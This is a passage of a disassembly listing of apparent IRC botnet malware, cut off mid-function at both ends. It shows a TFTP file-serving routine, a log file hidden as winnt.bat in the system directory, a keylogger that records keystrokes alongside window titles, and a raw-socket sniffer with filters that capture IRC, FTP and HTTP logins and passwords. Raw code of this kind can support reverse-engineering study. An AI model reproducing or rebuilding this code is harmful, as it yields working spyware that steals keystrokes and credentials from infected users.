		push	80h
		push	eax
		push	esi
		call	dword_4E30D0	; recvfrom
		push	[ebp+var_38]
		mov	[ebp+var_8], eax
		call	dword_4E3184	; inet_ntoa
		push	eax		; Format
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		cmp	[ebp+var_D0], bl
		pop	ecx
		pop	ecx
		jnz	loc_412629
		cmp	[ebp+var_CF], 1
		jnz	loc_41252F
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_strlen
		push	ebx		; Origin
		push	ebx		; Offset
		push	[ebp+File]	; File
		call	_fseek
		push	[ebp+File]	; File
		lea	eax, [ebp+DstBuf]
		mov	[ebp+var_578], bl
		mov	[ebp+var_577], 3
		push	200h		; Count
		push	1		; ElementSize
		push	eax		; DstBuf
		mov	[ebp+var_576], bl
		mov	[ebp+var_575], 1
		call	sub_41E3E0
		add	esp, 20h
		lea	ecx, [ebp+var_3C]
		mov	[ebp+var_8], eax
		add	eax, 4
		push	[ebp+var_C]
		push	ecx
		push	ebx
		push	eax
		lea	eax, [ebp+var_578]
		push	eax
		push	esi
		call	dword_4E315C	; sendto
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+var_778]
		push	offset aTftpTransferSt ; "Tftp transfer	started	to: %s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_D8], ebx
		jnz	short loc_41251D
		push	ebx		; int
		lea	eax, [ebp+var_778]
		push	[ebp+var_DC]	; int
		push	eax		; int
		lea	eax, [ebp+var_15C]
		push	eax		; Str
		push	[ebp+var_374]	; int
		call	sub_409D34
		add	esp, 14h

loc_41251D:				; CODE XREF: sub_412217+2E1j
		lea	eax, [ebp+var_778]
		push	eax
		call	sub_415C3F
		pop	ecx
		jmp	loc_41263F
; ---------------------------------------------------------------------------

loc_41252F:				; CODE XREF: sub_412217+257j
		cmp	[ebp+var_CF], 4
		jnz	loc_412629
		mov	cl, [ebp+var_CD]
		mov	al, [ebp+var_CE]
		cmp	cl, 0FFh
		mov	[ebp+var_578], bl
		mov	[ebp+var_577], 3
		jnz	short loc_41256C
		inc	al
		xor	cl, cl
		mov	[ebp+var_576], al
		mov	[ebp+var_575], bl
		jmp	short loc_41257A
; ---------------------------------------------------------------------------

loc_41256C:				; CODE XREF: sub_412217+341j
		inc	cl
		mov	[ebp+var_576], al
		mov	[ebp+var_575], cl

loc_41257A:				; CODE XREF: sub_412217+353j
		movzx	eax, al
		movzx	ecx, cl
		shl	eax, 8
		add	eax, ecx
		mov	edi, 200h
		shl	eax, 9
		sub	eax, edi
		push	ebx		; Origin
		push	eax		; Offset
		push	[ebp+File]	; File
		call	_fseek
		push	[ebp+File]	; File
		lea	eax, [ebp+DstBuf]
		push	edi		; Count
		push	1		; ElementSize
		push	eax		; DstBuf
		call	sub_41E3E0
		add	esp, 1Ch
		mov	edi, eax
		lea	eax, [ebp+var_3C]
		mov	[ebp+var_8], edi
		push	[ebp+var_C]
		push	eax
		lea	eax, [edi+4]
		push	ebx
		push	eax
		lea	eax, [ebp+var_578]
		push	eax
		push	esi
		call	dword_4E315C	; sendto
		cmp	edi, ebx
		jnz	short loc_41263F
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+var_778]
		push	offset aTftpTransferCo ; "Tftp transfer	complete to: %s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_D8], ebx
		jnz	short loc_412614
		push	ebx		; int
		lea	eax, [ebp+var_778]
		push	[ebp+var_DC]	; int
		push	eax		; int
		lea	eax, [ebp+var_15C]
		push	eax		; Str
		push	[ebp+var_374]	; int
		call	sub_409D34
		add	esp, 14h

loc_412614:				; CODE XREF: sub_412217+3D8j
		lea	eax, [ebp+var_778]
		push	eax
		call	sub_415C3F
		inc	dword_4E5C14
		pop	ecx
		jmp	short loc_41263F
; ---------------------------------------------------------------------------

loc_412629:				; CODE XREF: sub_412217+24Aj
					; sub_412217+31Fj
		push	[ebp+var_C]
		lea	eax, [ebp+var_3C]
		push	eax
		push	ebx
		push	9
		push	offset dword_44B770
		push	esi
		call	dword_4E315C	; sendto

loc_41263F:				; CODE XREF: sub_412217+1E9j
					; sub_412217+313j ...
		cmp	[ebp+var_8], ebx
		jg	loc_4123A7
		mov	edi, [ebp+arg_0]

loc_41264B:				; CODE XREF: sub_412217+199j
		push	esi
		call	dword_4E3190	; closesocket
		push	[ebp+File]	; File
		call	_fclose
		dec	[ebp+var_164]
		cmp	[edi+2A0h], ebx
		pop	ecx
		jnz	short loc_41267C
		push	[ebp+var_168]
		call	sub_40BA72
		pop	ecx
		push	ebx
		call	ds:dword_4F53A0	; ExitThread

loc_41267C:				; CODE XREF: sub_412217+450j
		push	3E8h
		call	ds:dword_4F534C	; Sleep
		push	edi

loc_412688:				; CODE XREF: sub_412217+125j
		call	sub_412217
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_412217	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_412694(int,int,int,char Str,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int)

sub_412694	proc near		; CODE XREF: sub_412775+B4p
					; sub_412775+253p

Dest		= byte ptr -314h
Filename	= byte ptr -114h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
Str		= byte ptr  14h
arg_8C		= dword	ptr  94h
arg_90		= dword	ptr  98h

		push	ebp
		mov	ebp, esp
		sub	esp, 314h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	ds:dword_4F5404	; GetLocalTime
		lea	eax, [ebp+Filename]
		push	104h
		push	eax
		call	ds:dword_4F5348	; GetSystemDirectoryA
		lea	eax, [ebp+Filename]
		push	offset asc_44BEEC ; "\\"
		push	eax		; Dest
		call	_strcat
		lea	eax, [ebp+Filename]
		push	offset aWinnt_bat ; "winnt.bat"
		push	eax		; Dest
		call	_strcat
		lea	eax, [ebp+Filename]
		push	offset aAb	; "ab"
		push	eax		; Filename
		call	_fopen
		mov	esi, eax
		add	esp, 18h
		test	esi, esi
		jnz	short loc_4126FB
		push	1
		pop	eax
		jmp	short loc_412772
; ---------------------------------------------------------------------------

loc_4126FB:				; CODE XREF: sub_412694+60j
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset aDDDDDDS	; "[%d-%d-%d %d:%d:%d] %s\r\n"
		push	esi		; File
		call	_fprintf
		push	esi		; File
		call	_fclose
		add	esp, 28h
		cmp	[ebp+arg_90], 0
		jnz	short loc_412770
		push	[ebp+arg_0]
		lea	eax, [ebp+Dest]
		push	offset asc_44BF10 ; "-"
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		push	0		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+arg_4]	; int
		call	sub_409D34
		add	esp, 24h

loc_412770:				; CODE XREF: sub_412694+A3j
		xor	eax, eax

loc_412772:				; CODE XREF: sub_412694+65j
		pop	esi
		leave
		retn
sub_412694	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412775	proc near		; DATA XREF: sub_401CC7+4500o

var_8DC		= dword	ptr -8DCh
var_8D8		= byte ptr -8D8h
Dest		= byte ptr -4DCh
var_2DD		= byte ptr -2DDh
Dst		= byte ptr -2DCh
var_DC		= byte ptr -0DCh
var_D8		= dword	ptr -0D8h
var_48		= byte ptr -48h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8DCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_8DC], 0
		push	25h
		and	[ebp+var_4], 0
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_DC]
		rep movsd
		mov	dword ptr [eax+90h], 1
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp+var_8D8]
		rep stosd
		call	dword_4E307C	; GetForegroundWindow
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		mov	[ebp+var_8], eax
		call	dword_4E3094	; GetWindowTextA
		mov	ebx, 200h

loc_4127D0:				; CODE XREF: sub_412775+2C7j
		push	8
		call	ds:dword_4F534C	; Sleep
		call	dword_4E307C	; GetForegroundWindow
		cmp	eax, [ebp+var_8]
		jz	short loc_412858
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		mov	[ebp+var_8], eax
		call	dword_4E3094	; GetWindowTextA
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+Dst]
		push	eax		; int
		lea	eax, [ebp+Dest]
		push	offset aSChangedWindow ; "%s (Changed Windows: %s)"
		push	eax		; int
		call	_sprintf
		sub	esp, 84h
		lea	esi, [ebp+var_DC]
		lea	eax, [ebp+Dest]
		push	25h
		pop	ecx
		mov	edi, esp
		push	eax		; int
		rep movsd
		call	sub_412694
		mov	[ebp+var_4], eax
		push	ebx		; Size
		lea	eax, [ebp+Dst]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0A4h
		lea	eax, [ebp+Dest]
		push	ebx		; Size
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch

loc_412858:				; CODE XREF: sub_412775+6Cj
		mov	[ebp+arg_0], offset dword_44B784

loc_41285F:				; CODE XREF: sub_412775+2BDj
		push	10h
		call	dword_4E2FCC	; GetKeyState
		movsx	esi, ax
		mov	eax, [ebp+arg_0]
		mov	edi, [eax-4]
		push	edi
		call	dword_4E30C4	; GetAsyncKeyState
		test	ah, 80h
		jz	short loc_4128F7
		push	14h
		call	dword_4E2FCC	; GetKeyState
		test	ax, ax
		jz	short loc_4128A8
		cmp	esi, 0FFFFFFFFh
		jle	short loc_4128A8
		cmp	edi, 40h
		jle	short loc_4128A8
		cmp	edi, 5Bh
		jge	short loc_4128A8
		mov	[ebp+edi*4+var_8DC], 1
		jmp	loc_412A27
; ---------------------------------------------------------------------------

loc_4128A8:				; CODE XREF: sub_412775+112j
					; sub_412775+117j ...
		push	14h
		call	dword_4E2FCC	; GetKeyState
		test	ax, ax
		jz	short loc_4128D3
		test	esi, esi
		jge	short loc_4128E7
		cmp	edi, 40h
		jle	short loc_4128D3
		cmp	edi, 5Bh
		jge	short loc_4128D3
		mov	[ebp+edi*4+var_8DC], 2
		jmp	loc_412A27
; ---------------------------------------------------------------------------

loc_4128D3:				; CODE XREF: sub_412775+13Ej
					; sub_412775+147j ...
		test	esi, esi
		jge	short loc_4128E7
		mov	[ebp+edi*4+var_8DC], 3
		jmp	loc_412A27
; ---------------------------------------------------------------------------

loc_4128E7:				; CODE XREF: sub_412775+142j
					; sub_412775+160j
		mov	[ebp+edi*4+var_8DC], 4
		jmp	loc_412A27
; ---------------------------------------------------------------------------

loc_4128F7:				; CODE XREF: sub_412775+105j
		mov	esi, [ebp+edi*4+var_8DC]
		lea	eax, [ebp+edi*4+var_8DC]
		test	esi, esi
		jz	loc_412A27
		and	dword ptr [eax], 0
		lea	eax, [ebp+Dst]
		cmp	edi, 8
		push	eax		; Str
		jnz	short loc_41292F
		call	_strlen
		and	[ebp+eax+var_2DD], 0
		pop	ecx
		jmp	loc_412A27
; ---------------------------------------------------------------------------

loc_41292F:				; CODE XREF: sub_412775+1A5j
		call	_strlen
		cmp	eax, 1B9h
		pop	ecx
		jbe	short loc_412961
		call	dword_4E307C	; GetForegroundWindow
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		call	dword_4E3094	; GetWindowTextA
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+Dst]
		push	eax
		push	offset aSBufferFullS ; "%s (Buffer full) (%s)"
		jmp	short loc_4129A2
; ---------------------------------------------------------------------------

loc_412961:				; CODE XREF: sub_412775+1C5j
		cmp	edi, 0Dh
		jnz	loc_4129F9
		lea	eax, [ebp+Dst]
		push	eax		; Str
		call	_strlen
		test	eax, eax
		pop	ecx
		jz	loc_412A27
		call	dword_4E307C	; GetForegroundWindow
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		call	dword_4E3094	; GetWindowTextA
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+Dst]
		push	eax		; int
		push	offset aSReturnS ; "%s (Return)	(%s)"

loc_4129A2:				; CODE XREF: sub_412775+1EAj
		lea	eax, [ebp+Dest]
		push	eax		; int
		call	_sprintf
		sub	esp, 84h
		lea	esi, [ebp+var_DC]
		lea	eax, [ebp+Dest]
		push	25h
		pop	ecx
		mov	edi, esp
		push	eax		; int
		rep movsd
		call	sub_412694
		mov	[ebp+var_4], eax
		push	ebx		; Size
		lea	eax, [ebp+Dst]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0A4h
		lea	eax, [ebp+Dest]
		push	ebx		; Size
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		jmp	short loc_412A27
; ---------------------------------------------------------------------------

loc_4129F9:				; CODE XREF: sub_412775+1EFj
		cmp	esi, 1
		jz	short loc_412A12
		cmp	esi, 3
		jz	short loc_412A12
		cmp	esi, 2
		jz	short loc_412A0D
		cmp	esi, 4
		jnz	short loc_412A27

loc_412A0D:				; CODE XREF: sub_412775+291j
		push	[ebp+arg_0]
		jmp	short loc_412A19
; ---------------------------------------------------------------------------

loc_412A12:				; CODE XREF: sub_412775+287j
					; sub_412775+28Cj
		mov	eax, [ebp+arg_0]
		add	eax, 7
		push	eax		; Source

loc_412A19:				; CODE XREF: sub_412775+29Bj
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_strcat
		pop	ecx
		pop	ecx

loc_412A27:				; CODE XREF: sub_412775+12Ej
					; sub_412775+159j ...
		add	[ebp+arg_0], 14h
		cmp	[ebp+arg_0], offset dword_44BEB4
		jl	loc_41285F
		cmp	[ebp+var_4], 0
		jz	loc_4127D0
		push	[ebp+var_D8]
		call	sub_40BA72
		pop	ecx
		push	0
		call	ds:dword_4F53A0	; ExitThread
sub_412775	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412A56	proc near		; DATA XREF: sub_401CC7+4124o

var_102B4	= byte ptr -102B4h
var_102AB	= byte ptr -102ABh
var_102A8	= dword	ptr -102A8h
var_102A0	= dword	ptr -102A0h
var_10293	= byte ptr -10293h
Str		= byte ptr -1028Ch
Dest		= byte ptr -2B4h
var_B4		= dword	ptr -0B4h
var_B0		= byte ptr -0B0h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
Dst		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 102B4h
		call	__alloca_probe
		mov	edx, [ebp+arg_0]
		push	esi
		push	edi
		push	1
		pop	eax
		mov	esi, edx
		push	25h
		lea	edi, [ebp+var_B4]
		pop	ecx
		mov	[ebp+var_8], eax
		rep movsd
		mov	[edx+90h], eax
		xor	esi, esi
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	esi
		call	dword_4E30F8	; htons
		push	[ebp+var_B4]
		mov	[ebp+var_1A], ax
		call	sub_40AF71
		pop	ecx
		push	eax
		call	dword_4E3138	; inet_addr
		push	esi
		push	3
		push	2
		mov	[ebp+var_18], eax
		call	dword_4E3178	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_4], edi
		jnz	short loc_412B2B
		call	dword_4E308C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_44C7EC ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_412B0E
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_2C]	; int
		push	eax		; int
		lea	eax, [ebp+var_B0]
		push	eax		; Str
		push	[ebp+var_B4]	; int
		call	sub_409D34
		add	esp, 14h

loc_412B0E:				; CODE XREF: sub_412A56+96j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C3F
		push	[ebp+var_30]
		call	sub_40BA72
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_4F53A0	; ExitThread

loc_412B2B:				; CODE XREF: sub_412A56+76j
		mov	eax, [ebp+var_30]
		push	10h
		imul	eax, 234h
		mov	dword_456024[eax], edi
		lea	eax, [ebp+Dst]
		push	eax
		push	edi
		call	dword_4E3124	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_412BB0
		call	dword_4E308C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_44C818 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_412B8C
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_2C]	; int
		push	eax		; int
		lea	eax, [ebp+var_B0]
		push	eax		; Str
		push	[ebp+var_B4]	; int
		call	sub_409D34
		add	esp, 14h

loc_412B8C:				; CODE XREF: sub_412A56+114j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C3F
		pop	ecx
		push	edi
		call	dword_4E3190	; closesocket
		push	[ebp+var_30]
		call	sub_40BA72
		pop	ecx
		push	esi
		call	ds:dword_4F53A0	; ExitThread

loc_412BB0:				; CODE XREF: sub_412A56+F4j
		push	esi
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		push	esi
		push	esi
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	98000001h
		push	edi
		call	dword_4E30A4	; WSAIoctl
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_412C33
		call	dword_4E308C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_44C844 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_412C0F
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_2C]	; int
		push	eax		; int
		lea	eax, [ebp+var_B0]
		push	eax		; Str
		push	[ebp+var_B4]	; int
		call	sub_409D34
		add	esp, 14h

loc_412C0F:				; CODE XREF: sub_412A56+197j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C3F
		pop	ecx
		push	edi
		call	dword_4E3190	; closesocket
		push	[ebp+var_30]
		call	sub_40BA72
		pop	ecx
		push	esi
		call	ds:dword_4F53A0	; ExitThread

loc_412C33:				; CODE XREF: sub_412A56+177j
		push	ebx
		mov	ebx, offset a_login ; ":.login"

loc_412C39:				; CODE XREF: sub_412A56+21Bj
					; sub_412A56+22Dj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+var_102B4]
		push	edi		; Size
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+var_102B4]
		push	esi
		push	edi
		push	eax
		push	[ebp+var_4]
		call	dword_4E3110	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_412D66
		cmp	[ebp+var_102AB], 6
		jnz	short loc_412C39
		mov	eax, [ebp+var_102A8]
		cmp	[ebp+var_10293], 18h
		mov	[ebp+var_C], eax
		jnz	short loc_412C39
		lea	eax, [ebp+Str]
		push	offset aPsniff_0 ; "[PSNIFF]"
		push	eax		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C39
		lea	eax, [ebp+Str]
		push	offset asc_44C8AC ; "-"
		push	eax		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C39
		mov	eax, ebx
		xor	edi, edi
		test	eax, eax
		jz	loc_412C39
		mov	[ebp+arg_0], ebx

loc_412CC2:				; CODE XREF: sub_412A56+287j
		push	eax		; SubStr
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412CE4
		inc	edi
		add	[ebp+arg_0], 18h
		mov	eax, [ebp+arg_0]
		jnz	short loc_412CC2
		jmp	loc_412C39
; ---------------------------------------------------------------------------

loc_412CE4:				; CODE XREF: sub_412A56+27Dj
		lea	eax, [ebp+Str]
		push	eax
		push	[ebp+var_102A0]
		call	dword_4E3028	; htons
		movzx	eax, ax
		push	eax
		push	[ebp+var_C]
		call	dword_4E3184	; inet_ntoa
		push	eax
		lea	eax, [edi+edi*2]
		mov	eax, dword_44BF94[eax*8]
		push	off_44BF70[eax*4]
		lea	eax, [ebp+Dest]
		push	offset asc_44C8BC ; "-"
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 1Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_412D54
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_2C]	; int
		push	eax		; int
		lea	eax, [ebp+var_B0]
		push	eax		; Str
		push	[ebp+var_B4]	; int
		call	sub_409D34
		add	esp, 14h

loc_412D54:				; CODE XREF: sub_412A56+2DCj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C3F
		pop	ecx
		jmp	loc_412C39
; ---------------------------------------------------------------------------

loc_412D66:				; CODE XREF: sub_412A56+20Ej
		call	dword_4E308C	; WSAGetLastError
		push	eax
		push	offset asc_44C874 ; "-"
		lea	eax, [ebp+Dest]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		cmp	[ebp+var_28], esi
		pop	ebx
		jnz	short loc_412DAC
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_2C]	; int
		push	eax		; int
		lea	eax, [ebp+var_B0]
		push	eax		; Str
		push	[ebp+var_B4]	; int
		call	sub_409D34
		add	esp, 14h

loc_412DAC:				; CODE XREF: sub_412A56+334j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C3F
		pop	ecx
		push	[ebp+var_4]
		call	dword_4E3190	; closesocket
		push	[ebp+var_30]
		call	sub_40BA72
		pop	ecx
		push	esi
		call	ds:dword_4F53A0	; ExitThread
sub_412A56	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_412DD2	proc near		; CODE XREF: sub_4130E1+213p
					; sub_4130E1+239p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_4E5EA8, eax
		mov	eax, offset dword_4E5EA8
		retn
sub_412DD2	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_412DE1(char *Str)

sub_412DE1	proc near		; CODE XREF: sub_4130E1+2BFp

Str		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+Str]
		push	offset aBotSniff ; "Bot	sniff"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412DFB

loc_412DF7:				; CODE XREF: sub_412DE1+29j
					; sub_412DE1+3Aj ...
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_412DFB:				; CODE XREF: sub_412DE1+14j
		push	offset a0	; "#0#"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412DF7
		push	offset aPsniff_1 ; "[PSNIFF]:"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412DF7
		push	offset aPsniff_2 ; "PSNIFF//"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412DF7
		push	offset aJoin_1	; "JOIN	#"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412E43

loc_412E3F:				; CODE XREF: sub_412DE1+71j
					; sub_412DE1+82j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_412E43:				; CODE XREF: sub_412DE1+5Cj
		push	offset a302	; "302 "
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412E3F
		push	offset a366	; "366 "
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412E3F
		push	offset a_login_0 ; ":.login"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412E3F
		push	offset aLogin_0	; ":!login"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412E3F
		push	offset aLogin_1	; ":!Login"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412E3F
		push	offset a_login_1 ; ":.Login"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412E3F
		push	offset a_ident	; ":.ident"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412E3F
		push	offset aIdent_0	; ":!ident"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_412E3F
		push	offset a_hashin	; ":.hashin"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_412E3F
		push	offset aHashin	; ":!hashin"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412DE1	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_412EF8(char *Str)

sub_412EF8	proc near		; CODE XREF: sub_4130E1+2F8p

Str		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+Str]
		push	offset aIrcSniff ; "IRC	sniff"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412F12

loc_412F0E:				; CODE XREF: sub_412EF8+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_412F12:				; CODE XREF: sub_412EF8+14j
		push	offset a0	; "#0#"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F0E
		push	offset aOper	; "OPER	"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412F38

loc_412F34:				; CODE XREF: sub_412EF8+4Fj
					; sub_412EF8+60j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_412F38:				; CODE XREF: sub_412EF8+3Aj
		push	offset aNick_2	; "NICK	"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F34
		push	offset aOper_0	; "oper	"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F34
		push	offset aYouAreNowAnIrc ; "You are now an IRC Operator"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412EF8	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_412F6E(char *Str)

sub_412F6E	proc near		; CODE XREF: sub_4130E1+32Ep

Str		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+Str]
		push	offset aFtpSniff ; "FTP	sniff"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412F88

loc_412F84:				; CODE XREF: sub_412F6E+29j
					; sub_412F6E+3Aj
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_412F88:				; CODE XREF: sub_412F6E+14j
		push	offset a0	; "#0#"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F84
		push	offset aNick_3	; "NICK	"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F84
		push	offset a220	; "220 "
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412FBF

loc_412FBB:				; CODE XREF: sub_412F6E+60j
					; sub_412F6E+71j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_412FBF:				; CODE XREF: sub_412F6E+4Bj
		push	offset a230	; "230 "
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412FBB
		push	offset aUser_2	; "USER	"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412FBB
		push	offset aPass_0	; "PASS	"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412F6E	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_412FF5(char *Str)

sub_412FF5	proc near		; CODE XREF: sub_4130E1+35Fp

Str		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+Str]
		push	offset aHttpSniff ; "HTTP sniff"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41300F

loc_41300B:				; CODE XREF: sub_412FF5+29j
		xor	al, al
		pop	esi
		retn
